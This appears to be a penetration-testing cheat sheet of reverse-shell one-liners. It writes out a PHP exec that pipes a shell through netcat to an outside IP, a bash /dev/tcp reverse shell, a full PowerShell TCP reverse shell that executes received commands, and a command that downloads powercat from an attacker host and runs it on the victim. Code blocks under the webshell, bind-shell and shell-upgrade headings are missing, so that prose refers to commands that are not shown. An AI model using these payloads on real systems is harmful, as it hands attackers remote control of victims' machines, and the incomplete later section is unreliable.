Nifty One Liners

PHP Reverse netcat

<?php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.170.145 4242 >/tmp/f")?>

Reverse Bash

bash -i >& /dev/tcp/10.x.x.x/443 0>&1

Where 443 is the port

Reverse Powershell (interactive powershell)

powershell -nop -c "$c = New-Object System.Net.Sockets.TCPClient('IP',4444);
$st = $c.GetStream();[byte[]]$b = 0..65535|%{0};
while(($i = $st.Read($b, 0, $b.Length)) -ne 0){;
$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);
$sb = (IEX $d 2>&1 | Out-String );
$sb2 = $sb + 'PS ' + (pwd).Path + '> ';
$sby = ([text.encoding]::ASCII).GetBytes($sb2);
$st.Write($sby,0,$sby.Length);$st.Flush()};$c.Close()"

Reverse cmd using Powershell (powercat)

Download powercat.ps1 and start python3 -m http.server in the same directory (Kali IP 192.168.1.109). Next start a NC listener on port 4444 and run this command on the victim:

powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.1.109/powercat.ps1');powercat -c 192.168.1.109 -p 4444 -e cmd"

Download file at Victim using PowerShell

Here, 10.10.16.3 is Kali IP (attacker) and -outf specifies the directory where to store file.

Webshells

Code: php

Code: jsp

Code: asp

Bind shells

Bash bind shell

Python bind shell

Powershell bind shell

Reverse Shell

Bash reverse shell

Powershell reverse shell

Upgrading Shells

Backgrounding and upgrading our shell

After we run this command, we will hit ctrl+z to background our shell and get back on our local terminal, and input the following stty command:

Once we hit fg, it will bring back our netcat shell to the foreground. At this point, the terminal will show a blank line. We can hit enter again to get back to our shell or input reset and hit enter to bring it back. At this point, we would have a fully working TTY shell with command history and everything else.

We may notice that our shell does not cover the entire terminal. To fix this, we need to figure out a few variables. We can open another terminal window on our system, maximize the windows or use any size we want, and then input the following commands to get our variables:

The first command showed us the TERM variable, and the second shows us the values for rows and columns, respectively. Now that we have our variables, we can go back to our netcat shell and use the following command to correct them:

Once we do that, we should have a netcat shell that uses the terminal's full features, just like an SSH connection.

Last updated

Was this helpful?